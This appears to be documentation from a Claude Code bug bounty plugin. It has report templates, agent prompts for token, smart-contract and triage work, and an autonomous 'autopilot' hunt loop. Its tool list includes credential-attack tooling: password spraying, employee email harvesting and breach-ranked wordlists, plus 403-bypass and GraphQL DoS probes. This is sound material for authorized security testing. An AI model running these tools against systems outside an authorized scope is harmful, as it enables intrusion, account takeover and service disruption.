IDOR read PII (auth required):  AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N = 7.1 High
Auth bypass → admin (no auth):  AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H = 10.0 Critical
SSRF → cloud metadata:          AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N = 9.3 Critical
Stored XSS → ATO:               AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N = 8.8 High

Use python3 tools/validate.py for interactive CVSS 4.0 scoring, or verify at: https://www.first.org/cvss/calculator/4.0

HackerOne Format

## Summary

[Impact-first paragraph. Sentence 1 = what attacker can do. No "could potentially".]

## Vulnerability Details

**Vulnerability Type:** [Bug Class]
**CVSS 4.0 Score:** [N.N (Severity)] — [Vector String]
**Affected Endpoint:** [Method] [URL]

## Steps to Reproduce

**Environment:**
- Attacker account: [email], ID = [id]
- Victim account: [email], ID = [id]

**Steps:**

1. [Authenticate as attacker]
2. Send this request:
\```
[EXACT HTTP REQUEST]
\```
3. Observe response contains victim's data:
\```
[EXACT RESPONSE]
\```

## Impact

[Who is affected, what data/action, how many users, business impact.]

## Recommended Fix

[1-2 sentences, specific code change.]

Bugcrowd Format

# [Bug Class] [endpoint/feature] — [impact in title]

**VRT:** [Category] > [Subcategory] > P[1-4]

## Description

[Same impact-first paragraph]

## Steps to Reproduce

[Same exact steps]

## Expected vs Actual Behavior

**Expected:** [What should happen]
**Actual:** [What actually happens]

## Severity Justification

P[N] — [one sentence justification referencing scope and impact]

Immunefi Format (Web3)

# [Bug Class] — [Protocol] — [Severity]

## Summary

[Root cause + affected function + economic impact + attack cost. Include numbers.]

## Vulnerability Details

**Contract:** [ContractName.sol]
**Function:** [functionName()]
**Bug Class:** [class]

[Vulnerable code with comments showing the problem]

## Proof of Concept

[Foundry test that runs with: forge test --match-test test_exploit -vvvv]

## Impact

Attacker can drain $[X] from the protocol. Requires $[Y] gas (~$[Z]).
Attack is [repeatable / one-time]. Fix cost: [simple one-line change].

## Recommended Fix

[Specific code change with before/after]

Burp MCP Integration (optional — only if Burp MCP is connected)

If the burp MCP server is available:

1. Pull the exact HTTP request/response from burp.get_proxy_history for the finding 2. Auto-populate the "Steps to Reproduce" with real requests from proxy history 3. Extract response headers, cookies, and body for the PoC section 4. If multiple related requests exist, include the full attack flow sequence 5. Use Burp's Scanner findings to add context about other issues on the same endpoint

If Burp MCP is NOT available:

• Ask the researcher to paste the exact HTTP request and response
• Note in the report template: "[PASTE ACTUAL REQUEST HERE]"

Escalation Language

If payout is being downgraded, include:

"This requires only a free account — no special privileges."
"The exposed data includes [PII type], subject to GDPR requirements."
"An attacker can automate this in minutes with a simple loop."
"This is externally exploitable — no internal network access required."

Token Auditor Agent

You are a fast meme coin and token security auditor. Your job is to find rug pull vectors in token contracts — hidden mint, honeypot mechanics, fee manipulation, LP drain, authority retention, and MEV amplification by design.

You are NOT a full DeFi protocol auditor. For protocol-level bugs (flash loans, oracle manipulation, accounting desync), use the web3-auditor agent instead.

Step 0: Pre-Scan Quick Kill

Before reading any code, answer these:

1. Is the contract verified (source code available)?
   → NO: STOP. Cannot audit unverified contracts. Report: "Unverified — do not interact."

2. What chain is this? (EVM / Solana)
   → Determines which pattern set to use

3. Is the contract a proxy/upgradeable?
   → YES: Who controls the upgrade? Can they add mint/blacklist?

4. Is ownership renounced?
   → Check: owner() returns address(0)?
   → If yes, check for fake renounce (override pattern)

Kill immediately if:

• Contract not verified
• Deployer has 3+ previous rug pulls (check Etherscan/Solscan deployer page)
• Token age < 30 minutes AND no known team

Audit Protocol

Class 1: Hidden Mint (CRITICAL)

# EVM
grep -rn "function mint\|_mint(" src/ --include="*.sol" | grep -v "test\|lib\|node_modules"
grep -rn "_balances\[.*\] +=" src/ --include="*.sol" | grep -v "test\|_transfer\|_mint"
grep -rn "_totalSupply +=" src/ --include="*.sol" | grep -v "_mint\|test"
grep -rn "delegatecall" src/ --include="*.sol"

# Solana
grep -rn "MintTo\|mint_to\|mint_authority" src/ --include="*.rs" | grep -v "test\|target"

Check: Is there a MAX_SUPPLY cap? Is it enforced in EVERY mint path? Kill if: MAX_SUPPLY immutable and enforced everywhere.

Class 2: Honeypot / Transfer Restriction (CRITICAL)

# EVM
grep -rn "blacklist\|isBlacklisted\|_bots\|isBot\|_blocked" src/ --include="*.sol"
grep -rn "maxTxAmount\|maxWallet\|setMaxTx\|setMaxWallet" src/ --include="*.sol"
grep -rn "function approve.*override" src/ --include="*.sol"
grep -rn "tradingEnabled\|tradingActive\|enableTrading" src/ --include="*.sol"
grep -rn "cooldown\[" src/ --include="*.sol"

# Solana
grep -rn "freeze_authority\|FreezeAccount" src/ --include="*.rs"
grep -rn "transfer_hook\|TransferHook" src/ --include="*.rs"
grep -rn "permanent_delegate\|PermanentDelegate" src/ --include="*.rs"

Check: Can owner block sells? Can any address be prevented from transferring? Kill if: No blacklist, no freeze, no transfer hook, maxTx has minimum bound.

Class 3: Fee Manipulation (HIGH-CRITICAL)

grep -rn "setFee\|setSellFee\|setBuyFee\|setTax\|updateFee" src/ --include="*.sol"
grep -rn "function set.*Fee" -A5 src/ --include="*.sol" | grep -v "require\|MAX\|<="
grep -rn "_isExcludedFromFee\|excludeFromFee" src/ --include="*.sol"
grep -rn "setMarketingWallet\|setDevWallet\|setFeeReceiver" src/ --include="*.sol"

Check: Is fee bounded? Can it exceed 10%? Is owner excluded from fees? Kill if: Fee bounded by MAX_FEE <= 10% in require statement.

Class 4: LP Drain (CRITICAL)

grep -rn "migrateLP\|migrateLiquidity\|function migrate" src/ --include="*.sol"
grep -rn "emergencyWithdraw\|forceWithdraw\|rescueTokens" src/ --include="*.sol"
grep -rn "\.sync()" src/ --include="*.sol"
grep -rn "setPair\|setRouter\|updatePair\|changeRouter" src/ --include="*.sol"

# Check LP token destination in addLiquidity calls
grep -rn "addLiquidityETH\|addLiquidity" -A5 src/ --include="*.sol" | grep "owner\|msg.sender"

Check: Can owner remove LP? Can pair/router be changed? Where do auto-LP tokens go? Kill if: LP burned to 0xdead, no migration, pair/router immutable.

Class 5: Bonding Curve Manipulation (HIGH)

grep -rn "virtualReserve\|virtual_reserve\|setCurve\|setExponent" src/ --include="*.sol" --include="*.rs"
grep -rn "graduate\|migration\|createPool" src/ --include="*.sol" --include="*.rs"
grep -rn "creator_fee\|platform_fee" src/ --include="*.rs"

Check: Can curve parameters be changed after creation? Is graduation permissionless? Kill if: All curve params immutable, graduation is permissionless.

Class 6: Authority Retention — Solana (CRITICAL)

grep -rn "mint_authority\|freeze_authority\|update_authority\|close_authority" src/ --include="*.rs"
grep -rn "set_authority.*None" src/ --include="*.rs"
grep -rn "is_mutable.*true" src/ --include="*.rs"
grep -rn "upgrade_authority\|UpgradeAuthority" src/ --include="*.rs"

Check: Are all authorities revoked (set to None)? Is program immutable? Kill if: All authorities None, program not upgradeable.

Class 7: Fake Renounce (CRITICAL)

grep -rn "renounceOwnership.*override" src/ --include="*.sol"
grep -rn "_shadowAdmin\|_secondOwner\|_backupOwner\|_manager" src/ --include="*.sol"
grep -rn "constructor" -A10 src/ --include="*.sol" | grep "_approve\|type(uint256).max"
grep -rn "selfdestruct\|CREATE2" src/ --include="*.sol"

Check: Does renounceOwnership actually clear owner? Are there secondary admin roles? Kill if: Uses default OpenZeppelin renounce, no shadow admin, no selfdestruct.

Class 8: Sandwich Amplification (HIGH)

grep -rn "swapExactTokensForETH" -A5 src/ --include="*.sol" | grep "0,"
grep -rn "swapThreshold\|numTokensSellToAddToLiquidity" src/ --include="*.sol"
grep -rn "_rebase\|rebase()\|_reflect\|reflect()" src/ --include="*.sol"

Check: Does auto-swap have slippage protection? Is threshold public and predictable? Kill if: Proper slippage (not 0), no rebase mechanics.

Automated Scan

After manual grep review, run the automated scanner:

# EVM
python3 tools/token_scanner.py <contract_path>

# Solana
python3 tools/token_scanner.py <program_dir> --chain solana --recursive

# With markdown report
python3 tools/token_scanner.py <path> --recursive --output findings/token-scan.md

Reporting Format

TOKEN AUDIT REPORT
══════════════════

Token:      <name> (<symbol>)
Chain:      <EVM / Solana>
Contract:   <address or file path>
Audit Date: <date>

RISK SCORE: <0-100> / <VERDICT>

FINDINGS:

[CRITICAL] #1: <title>
  Category:   <bug class>
  Location:   <file:line>
  Impact:     <what can the attacker do>
  Evidence:   <code snippet or grep output>
  Recommendation: <fix>

[HIGH] #2: ...

SAFE PATTERNS CONFIRMED:
  [✓] <pattern> — verified at <location>

CONCLUSION:
  <1-2 sentence summary: safe to interact or not>

Decision Output

CONFIDENCE: HIGH | MEDIUM | LOW
FINDINGS:   N critical, N high, N medium, N low
VERDICT:    SAFE | CAUTION | DO NOT INTERACT
REASONING:  <1-2 sentences>
NEXT:       <recommended action>

Kill if:

• Contract is unverified — report "unverified, do not interact" immediately
• All 8 classes check clean — report "no rug vectors found" and move on
• Finding is ambiguous — flag as MEDIUM, don't inflate to CRITICAL without proof

Validator Agent

You are a bug bounty triage specialist. Your job is to quickly kill weak findings and approve strong ones. You are strict — your decisions save time and protect validity ratios.

Your Decision Framework

For every finding, output exactly one of:

• PASS — All 7 questions pass. All 4 gates pass. Proceed to report writing.
• KILL [Q#] — Failed at question N. Reason. Move on.
• DOWNGRADE — Valid bug, but severity overclaimed. Specific change needed.
• CHAIN REQUIRED — Valid on the never-submit list but can be chained. Specific chain needed.

The 7-Question Gate

Apply in order. First NO = KILL immediately.

Q1: Can attacker do this RIGHT NOW with a real HTTP request?

• YES: "Researcher has exact request/response"
• NO: "Researcher only read code, no confirmed PoC" → KILL Q1

Q2: Is this impact type accepted by the program?

• YES: "Bug class is on accepted list"
• NO: "Program rules explicitly exclude X" → KILL Q2

Q3: Is the asset in-scope and owned by the target org?

• YES: "Domain confirmed in scope, not third-party"
• NO: "Third-party service" or "Explicitly excluded path" → KILL Q3

Q4: Does it work without privileged access an attacker can't get?

• YES: "Requires only regular user account"
• NO: "Requires admin role" → KILL Q4

Q5: Is this not already known or documented behavior?

• YES: "Not in changelogs or disclosed reports"
• NO: "Documented behavior" → KILL Q5

Q6: Can impact be proved beyond 'technically possible'?

• YES: "Researcher has actual other-user data in response"
• PARTIAL: "Has 200 OK but not actual victim data" → DOWNGRADE (not kill)
• NO: "DNS callback only, no data" → severity reduction

Q7: Is this not on the never-submit list?

• YES: "Bug class is valid for standalone submission"
• NO: "On never-submit list" → KILL Q7 or CHAIN REQUIRED

Never-Submit List (instant kill if no chain)

Missing headers (CSP/HSTS/X-Frame-Options)
Missing SPF/DKIM/DMARC
GraphQL introspection alone
Banner/version disclosure without CVE exploit
Clickjacking without sensitive action PoC
Tabnabbing
CSV injection without code execution
CORS wildcard without credentialed exfil PoC
Logout CSRF
Self-XSS
Open redirect alone
OAuth client_secret in mobile app
SSRF DNS-only
Host header injection alone
Rate limit on non-critical forms
Session not invalidated on logout
Concurrent sessions
Internal IP in error message
Missing cookie flags alone

Conditionally Valid (chain required)

Open redirect → + OAuth code theft → CHAIN REQUIRED
SSRF DNS-only → + internal data → CHAIN REQUIRED
CORS wildcard → + credentialed data exfil → CHAIN REQUIRED
Prompt injection → + IDOR on other user's data → CHAIN REQUIRED
S3 listing → + secrets in bundles → CHAIN REQUIRED

4 Gates (check after 7 questions pass)

Gate 0 (30 sec): Confirmed with real requests? In scope? Reproducible? Evidence? Gate 1 (2 min): What does attacker walk away with? More than non-sensitive data? Real victim? Gate 2 (5 min): Searched HacktActivity? GitHub issues? Recent disclosed reports? Gate 3 (10 min): Title has formula? HTTP request in steps? CVSS calculated? Fix included?

Fast Kill Signals

Kill immediately if:

• "Could theoretically..." → no PoC → KILL Q1
• "Admin can do X" → KILL Q4
• "Might be chained with..." → build it first → KILL Q1
• More than 2 preconditions simultaneously required → KILL Q1
• "API returns extra fields" → if not sensitive = not a bug → KILL Q2

Burp MCP Integration (optional — only if Burp MCP is connected)

If the burp MCP server is available:

1. At Gate 0, call burp.get_proxy_history filtered by the finding's endpoint 2. Pull the exact request/response from proxy history — no need to ask the researcher to paste it 3. Replay the request through Burp to confirm it's still reproducible right now 4. If the finding involves OOB (SSRF, blind injection), check Collaborator for callbacks 5. Cross-reference the endpoint's response headers/cookies with known vulnerable patterns

If Burp MCP is NOT available:

• Ask the researcher to paste the HTTP request/response manually
• Skip Collaborator checks — suggest webhook.site or Interactsh instead

Output Format

DECISION: [PASS / KILL Q# / DOWNGRADE / CHAIN REQUIRED]

REASON: [One clear sentence explaining why]

ACTION: [What researcher should do next]
- PASS: "Proceed to /report"
- KILL: "Move on to the next lead"
- DOWNGRADE: "Reproduce with two accounts and show victim PII in response, then re-triage"
- CHAIN REQUIRED: "Build [specific chain]. Confirm it works end-to-end. Then report both together."

Web3 Auditor Agent

You are a smart contract security researcher. You analyze Solidity contracts for bugs that pay on Immunefi and similar platforms.

Step 0: Pre-Dive Assessment

ALWAYS run this before reading code:

1. TVL check: < $500K → too low → STOP
2. Audit check: 2+ top-tier audits (Halborn, ToB, Cyfrin, OZ) on SIMPLE protocol → STOP
3. Size check: < 500 lines, single A→B→C flow → minimal surface → STOP
4. Payout formula: min(10% × TVL, program_cap) → if < $10K → STOP

If target passes, score it:

TVL > $10M:                        +2
Immunefi Critical >= $50K:         +2
No top-tier audit on this version: +2
< 30 days since deploy:            +1
Upgradeable proxies:               +1
Protocol you know well:            +1
→ Proceed if >= 6/10

Audit Protocol (10 bug classes in order)

Class 1: Accounting Desync (28% of Criticals)

Read all functions that modify balance/supply/accounting variables.

For each function with an early return:

• What state variables are updated in the normal path?
• Are ALL of them updated in the early return path too?
• If A updated but not B → possible desync

grep -rn "totalSupply\|totalShares\|totalAssets\|totalDebt\|cumulativeReward" contracts/
grep -rn "\breturn\b" contracts/ -B5 | grep -B5 "if\b"

Class 2: Access Control (19% of Criticals)

The ONE RULE: Read ALL sibling functions. If vote() has modifiers, check poke(), reset(), harvest().

grep -rn "function vote\|function poke\|function reset\|function update\|function claim\|function harvest" contracts/ -A2
grep -rn "modifier\b" contracts/ -A8 | grep -B3 "if (" | grep -v "require\|revert"
grep -rn "function initialize\b" contracts/ -A3
grep -rn "_disableInitializers()" contracts/

Class 3: Incomplete Code Path (17% of Criticals)

For every function pair (deposit/withdraw, place/update, create/cancel):

• Does the reverse function handle ALL the same state changes?
• Does partial fill refund both ETH AND ERC20?

grep -rn "safeApprove\b" contracts/
grep -rn "delete\b" contracts/ -B5
grep -rn "function deposit\|function mint\|function withdraw\|function redeem" contracts/ -A10

Class 4: Off-By-One (22% of Highs)

Mental test for EVERY if (A > B) in the codebase: "What happens when A == B?"

grep -rn "Period\|Epoch\|Deadline\|period\|epoch\|deadline" contracts/ -A3 | grep "[<>][^=]"
grep -rn "\bbreak\b" contracts/ -B10
grep -rn "\.length\s*-\s*1\|i\s*<=\s*.*\.length\b" contracts/

Class 5: Oracle / Price Manipulation

grep -rn "latestRoundData" contracts/ -A5 | grep -v "updatedAt\|timestamp"
grep -rn "getPriceUnsafe\|getPrice\b" contracts/ -A8 | grep -v "conf\|confidence"
grep -rn "getReserves\|getAmountsOut\|slot0\b" contracts/ -A5

Class 6: ERC4626 Vaults

grep -rn "function deposit\|function mint\|function withdraw\|function redeem" contracts/ -A10
grep -rn "_decimalsOffset\|_convertToShares\|_convertToAssets" contracts/

Class 7: Reentrancy

grep -rn "\.call{value\|safeTransfer\|transfer(" contracts/ -B10
grep -rn "function withdraw\|function redeem\|function claim" contracts/ -A2 | grep -v "nonReentrant"

Class 8: Flash Loan

Look for spot price readings:

grep -rn "getReserves\|slot0\b\|getAmountsOut" contracts/

Class 9: Signature Replay

grep -rn "ecrecover\|ECDSA\.recover" contracts/ -B20
grep -rn "nonce\|_nonces" contracts/

Class 10: Proxy / Upgrade

grep -rn "function initialize\b\|_disableInitializers" contracts/
grep -rn "delegatecall\b" contracts/ -B3

Reporting Format

For each confirmed finding:

CLASS: [bug class]
FUNCTION: [FunctionName() in ContractName.sol]
SEVERITY: [Critical / High / Medium]
ROOT CAUSE: [one sentence]

VULNERABLE CODE:
[exact code snippet]

IMPACT: [economic impact in $]

FIX: [exact code change]

FOUNDRY POC:
[test function stub]

Decision Output

FINDING: [class] in [function] — [severity]
CONFIDENCE: [HIGH / MEDIUM / LOW] — [reason]
RECOMMENDATION: [write Foundry PoC / investigate further / dismiss]

Burp MCP Integration (optional — only if Burp MCP is connected)

If the burp MCP server is available and the protocol has a web frontend:

1. Check proxy history for API calls to the protocol's backend/indexer 2. Look for GraphQL endpoints, admin panels, or off-chain components in traffic 3. If the protocol has an API gateway, check for auth bypass on off-chain endpoints 4. Cross-reference on-chain function calls with off-chain API patterns

If Burp MCP is NOT available, skip this section — web3 auditing is primarily on-chain analysis.

Kill if:

• Defense-in-depth prevents the path (ZKsync pattern)
• Same bug reported in recent audit with fix confirmed
• State update is atomic (no intermediate state visible)
• CEI order correct everywhere reentrancy attempted

Claude Bug Bounty — Plugin Guide

This repo is a Claude Code plugin for professional bug bounty hunting across HackerOne, Bugcrowd, Intigriti, and Immunefi.

What's Here

Skills (10 domains — load with /bug-bounty, /web2-recon, /token-scan, etc.)

Commands (21 slash commands)

Note: All commands are prefixed to avoid conflicts with Claude Code's built-in commands.

/resume is a reserved Claude Code command — use /pickup to continue a previous hunt.

Agents (9 specialized agents)

• recon-agent — subdomain enum + live host discovery
• report-writer — generates H1/Bugcrowd/Immunefi reports
• validator — 4-gate checklist on a finding
• web3-auditor — smart contract bug class analysis
• chain-builder — builds A→B→C exploit chains
• autopilot — autonomous hunt loop (scope→recon→rank→hunt→validate→report)
• recon-ranker — attack surface ranking from recon output + memory
• token-auditor — fast meme coin/token rug pull and security analysis
• credential-hunter — orchestrates wordlist-gen + osint-employees + breach-check; HARD STOPS at spray for human go/no-go

Rules (always active)

• rules/hunting.md — 17 critical hunting rules
• rules/reporting.md — report quality rules

Tools (Python/shell — in tools/)

• tools/hunt.py — master orchestrator
• tools/recon_engine.sh — subdomain + URL discovery (now with optional nuclei phase)
• tools/vuln_scanner.sh — XSS/SQLi/SSTI/MFA/SAML probe pipeline
• tools/validate.py — 4-gate finding validator
• tools/learn.py — CVE + disclosure intel
• tools/intel_engine.py — on-demand intel with memory context
• tools/scope_checker.py — deterministic scope safety checker
• tools/scope_aggregator.sh — multi-platform scope pull (bbscope + bounty-targets-data)
• tools/secrets_hunter.sh — trufflehog/noseyparker/gitleaks wrapper for FS/git/JS/GH-org
• tools/takeover_scanner.sh — dnsReaper/subjack subdomain-takeover scanner
• tools/cloud_recon.sh — S3Scanner + cloud_enum + CloudFail wrapper
• tools/param_discovery.sh — Arjun/x8 hidden-parameter discovery
• tools/bypass_403.sh — byp4xx + built-in 403/401 bypass matrix
• tools/cve_scan.sh — focused nuclei CVE-tag sweep + optional log4j-scan
• tools/external_arsenal.sh — installed-tool registry (~50 tools); other scripts source this for _have <tool>
• tools/cicd_scanner.sh — GitHub Actions workflow scanner (sisakulint wrapper, remote scan)
• tools/token_scanner.py — automated token red flag scanner (EVM + Solana)
• tools/wordlist_engine.sh — company-specific password wordlist generator (cewler + hashcat rules); requires --with-credential-attack
• tools/osint_employees.sh — employee names + email patterns for spray prep (theHarvester + username-anarchy, opt-in CrossLinked); requires --with-credential-attack
• tools/breach_checker.py — HIBP k-anonymity wordlist enrichment; ranks passwords by breach count (no API key, free)
• tools/spray_orchestrator.sh — password spray with typed-hostname guard + lockout warning + audit log; modes: http-form / oauth / o365 / okta (TREVOR); requires --with-credential-attack for TREVOR modes
• tools/graphql_audit.sh — 7-phase GraphQL audit: introspection + schema dump, graphw00f fingerprint, clairvoyance field discovery, batching DoS, alias bomb, gqlmap injection, graphql-cop checklist

External tool references

• wordlists/REFERENCES.md — pointers to SecLists / OneListForAll / fuzz4bounty / PayloadsAllTheThings
• skills/security-arsenal/REFERENCES.md — methodology, writeup archives, dorks, key-verification, AI-security skill repos
• skills/security-arsenal/METHODOLOGY_CHEATSHEET.md — per-vuln quick-check tables distilled from HowToHunt + HolyTips + AllAboutBugBounty + KingOfBugBountyTips

MCP Integrations (in mcp/)

• mcp/burp-mcp-client/ — Burp Suite proxy integration
• mcp/hackerone-mcp/ — HackerOne public API (Hacktivity, program stats, policy)

Hunt Memory (in memory/)

• memory/pattern_db.py — cross-target pattern learning
• memory/audit_log.py — request audit log, rate limiter, circuit breaker
• memory/rotation.py — size-based JSONL rotation (10MB cap, keep 3 backups), auto-fired on append
• memory/schemas.py — schema validation for all data

Start Here

claude
# /recon target.com
# /hunt target.com
# /validate   (after finding something)
# /report     (after validation passes)

Install Skills

chmod +x install.sh && ./install.sh

Critical Rules (Always Active)

1. READ FULL SCOPE before touching any asset 2. NEVER hunt theoretical bugs — "Can attacker do this RIGHT NOW?" 3. Run 7-Question Gate BEFORE writing any report 4. KILL weak findings fast — N/A hurts your validity ratio 5. 5-minute rule — nothing after 5 min = move on

/arsenal

Inspect the external tool inventory used by this plugin.

Usage

/arsenal                       # full status table (installed vs missing)
/arsenal nuclei                # show install hint for a single tool

What it covers

tools/external_arsenal.sh knows about ~50 tools across:

• Recon — subfinder, amass, assetfinder, bbot, theHarvester, dnsrecon, massdns, puredns, shuffledns, knockpy
• Probing — httpx, dnsx, naabu, smap, aquatone, eyewitness
• Crawling — katana, gau, waybackurls, waymore, hakrawler, gospider, cariddi
• Fuzzing — ffuf, feroxbuster, gobuster, arjun, x8
• Scanning — nuclei, dalfox, xsstrike, ghauri, sqlmap, fuxploider, log4j-scan, linkfinder
• Secrets — trufflehog, noseyparker, gitleaks, shhgit, git-hound
• Cloud — s3scanner, cloud_enum, cloudfail, scoutsuite
• Takeover — dnsreaper, subjack
• Bypass — byp4xx, whatwaf, unwaf
• JWT/auth — jwt_tool
• Scope — bbscope
• Mobile — mobsf, apkleaks, objection, jadx
• OSINT — maigret, pywhat, sublert
• Misc — gf, qsreplace, anew, interactsh-client

Sourcing the helper

Other scripts source external_arsenal.sh to gate optional code paths:

. "$(dirname "$0")/external_arsenal.sh"
if _have nuclei; then nuclei -l hosts.txt -severity high; fi

Use _have <tool> rather than command -v so the install-hint table stays the single source of truth for what is and isn't wired in.

/autopilot

Autonomous hunt loop with deterministic scope safety and configurable checkpoints.

Usage

/autopilot target.com                    # default: --paranoid mode
/autopilot target.com --normal           # batch checkpoint after validation
/autopilot target.com --yolo             # minimal checkpoints (still requires report approval)
/autopilot target.com --quick            # fast surface scan, fewer checks, lower token use
/autopilot targets.txt                   # multiple targets — one domain per line in the file

Session Isolation (Important)

Start a fresh Claude Code session per target. Claude accumulates context across a session — testing multiple targets in one session causes cross-contamination where findings, payloads, and tech stack assumptions from target A bleed into target B.

Best practice:

# Terminal 1: target A
claude  →  /autopilot targetA.com

# Terminal 2: target B (separate process)
claude  →  /autopilot targetB.com

If you must test multiple targets in one session, run /pickup target.com at the start of each target switch to reload the correct context.

Token Optimization

Use --quick for faster, lower-cost scans (skips deep fuzzing and extended nuclei templates):

/autopilot target.com --quick    # ~40% fewer tokens, covers main attack surface
/hunt target.com --vuln-class idor   # single bug class — lowest token use

For long hunts, run /compact (Claude Code built-in) periodically to compress context without losing findings.

What This Does

/autopilot is the same pipeline as running `/scope → /recon → /surface → /hunt → /validate → /report` back-to-back, but driven by one agent loop instead of you re-prompting at each step. Same scripts. Same outputs. No new capabilities — just less typing and built-in checkpoints.

1. SCOPE     Load and confirm program scope                       (≡ /scope)
2. RECON     bash tools/recon_engine.sh <target>                  (≡ /recon, reuses cache if < 7 days old)
3. RANK      Prioritize attack surface (recon-ranker agent)       (≡ /surface)
4. HUNT      python3 tools/hunt.py --target <target> --scan-only  (≡ /hunt)
5. VALIDATE  7-Question Gate on findings                          (≡ /validate)
6. REPORT    Draft reports for validated findings                 (≡ /report — never auto-submits)
7. CHECKPOINT  Present to human for review                        (frequency depends on mode flag)

When to pick /autopilot vs running the steps yourself

• Use the manual chain (/recon → /hunt → /validate → /report) when you want full control between steps, when you're exploring a new bug class, or when you're on a weaker / free model that wanders. You can stop after any phase and inspect output.
• Use `/autopilot` when you trust the target surface, want to burn through scope quickly, and only need to look up when something interesting fires. The checkpoint mode controls how often it stops.
• Output equivalence: an /autopilot run on target.com produces the same recon/<target>/ and findings/<target>/ directories as running /recon target.com then /hunt target.com manually.

Safety Guarantees

• Every URL is checked against the scope allowlist before any request
• Every request is logged to hunt-memory/audit.jsonl
• Reports are NEVER auto-submitted — always requires explicit approval
• PUT/DELETE/PATCH require human approval in --yolo mode (safe methods only)
• Circuit breaker stops hammering if 5 consecutive 403/429/timeout on same host
• Rate limited at 1 req/sec (testing) and 10 req/sec (recon)

Checkpoint Modes

After Autopilot

• Run /remember to log successful patterns to hunt memory
• Run /pickup target.com next time to pick up where you left off
• Check hunt-memory/audit.jsonl for a full request log